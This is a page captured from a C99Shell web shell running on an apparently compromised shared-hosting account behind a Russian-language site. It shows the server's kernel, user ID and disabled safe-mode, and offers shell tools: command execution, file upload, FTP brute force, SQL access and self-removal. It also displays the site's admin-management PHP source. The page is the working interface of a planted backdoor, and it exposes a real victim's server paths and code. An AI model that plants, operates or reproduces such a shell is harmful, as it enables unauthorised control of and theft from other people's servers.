!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.68 (Linux) PHP/7.4.33. PHP/7.4.33 

uname -a: Linux bjb2293782.nichost.ru 6.6.151-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Aug 10
11:16:02 MSK 2026 x86_64
 

uid=12584(bjb2293782) gid=12584(bjb2293782) groups=12584(bjb2293782)  

Safe-mode: OFF (not secure)

/home/bjb2293782/xn--80abaeoqbbrbgf8aea5a2a2z.xn--p1ai/docs/   drwxr-x---
Free 2714.53 GB of 4607.12 GB (58.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     admins.php (3.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require("design.php");

session_start();

TOP(-1);


$mysql mysqlopen();

MAINCOLUMN();
?>

<style>
.admin
{
    cursor:pointer;
    transition-property: background;
    transition-duration: 500ms;
}

.admin:hover
{
    background-color:#cceeff;
}

.dis td
{
    font-style:italic;
}    
</style>



<h1>Администраторы</h1>

<?php
if (!AdminAuth(RIGHT_SUPER_ADMIN)) print "<center><br><br><br>ДОСТУП ЗАКРЫТ!</center>";
else
{
FILIALLISTINFO();
?>



<table width=95% cellspacing=0 cellpadding=4 border=1 bordercolor=#cccccc>
<tr>
    <th rowspan=2 width=40%>Имя администратора</th>
    <th rowspan=2 width=1%>№<br>филиала</th>
    <th rowspan=2 width=1%>Акти-<br>вирован</th>
    <th rowspan=2 width=10%>e-mail</th>
    
    <th colspan=8>Права</th>
</tr>
<tr>
    <th width=1%>Правка<br>всех<br>событий</th>
    <th width=1%>Правка<br>новостей<br>филиала</th>
    <th width=1%>Правка<br>часто<br>задаваемых<br>вопросов</th>
    <th width=1%>Правка<br>видео<br>трансляций</th>
    <th width=1%>Правка<br>расписания<br>филиала</th>
    <th width=1%>Админ.<br>форума</th>
    <th width=1%>Правка<br>архива<br>викторин</th>
    <th width=1%>Супер<br>администратор</th>
</tr>

<?php
$result 
mysqli_query($mysql"SELECT `id`,`name`,`email`,IF(NOT(`login` IS NULL) AND `login`<>'',1,0) as `activated`,`filial`,`rights` FROM libAdmins ORDER BY `name` ASC");
if (
mysqli_errno($mysql)) die("ERROR: ".mysqli_error($mysql)." at line ".__LINE__." of file ".__FILE__."\n");

function 
_BOOL_($v)
{
    if (
$v) return "Да";
    return 
"&nbsp;";
}

while(
$row mysqli_fetch_assoc($result))
{
    
$id $row['id'];
    
$cls '';
    if (
$row['activated']==0$cls=' dis';
    print 
"<tr class='admin$cls' onclick='editAdmin($id)'>\n";
    
    print 
"<td>"._html_($row['name'])."</td>\n";

    print 
"<td align=center>";
    if (
$row['filial']==-1) print "Все"; else print $row['filial'];
    print 
"</td>";

    print 
"<td align=center>"._BOOL_($row['activated']!=0)."</td>\n";

    print 
"<td align=center>"._cell_(_html_($row['email']))."</td>\n";
    
    
$rights intval($row['rights']);

    print 
"<td align=center>"._BOOL_(($rights RIGHT_EDIT_EVENTS)!=0)."</td>\n";
    print 
"<td align=center>"._BOOL_(($rights RIGHT_EDIT_NEWS)!=0)."</td>\n";
    print 
"<td align=center>"._BOOL_(($rights RIGHT_EDIT_FAQ)!=0)."</td>\n";
    print 
"<td align=center>"._BOOL_(($rights RIGHT_EDIT_VIDEO)!=0)."</td>\n";
    print 
"<td align=center>"._BOOL_(($rights RIGHT_EDIT_PROGRAMS)!=0)."</td>\n";
    print 
"<td align=center>"._BOOL_(($rights RIGHT_ADMIN_FORUM)!=0)."</td>\n";
    print 
"<td align=center>"._BOOL_(($rights RIGHT_EDIT_QUIZ)!=0)."</td>\n";
    print 
"<td align=center>"._BOOL_(($rights RIGHT_SUPER_ADMIN)!=0)."</td>\n";

    print 
"</tr>\n";
}

?>

</table>

<script>
function newAdmin()
{
    openAdminDialog({id:-1, name:'', email:'', filial:adminFilial, rights:0, invated:0,actived:0});
}
</script>


<br>
<center><b>[ <a href='#' onclick='newAdmin(); return false'>Добавить администратора</a> ]</b></center>
<br><br>


<?php
}
BOTTOM(); ?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--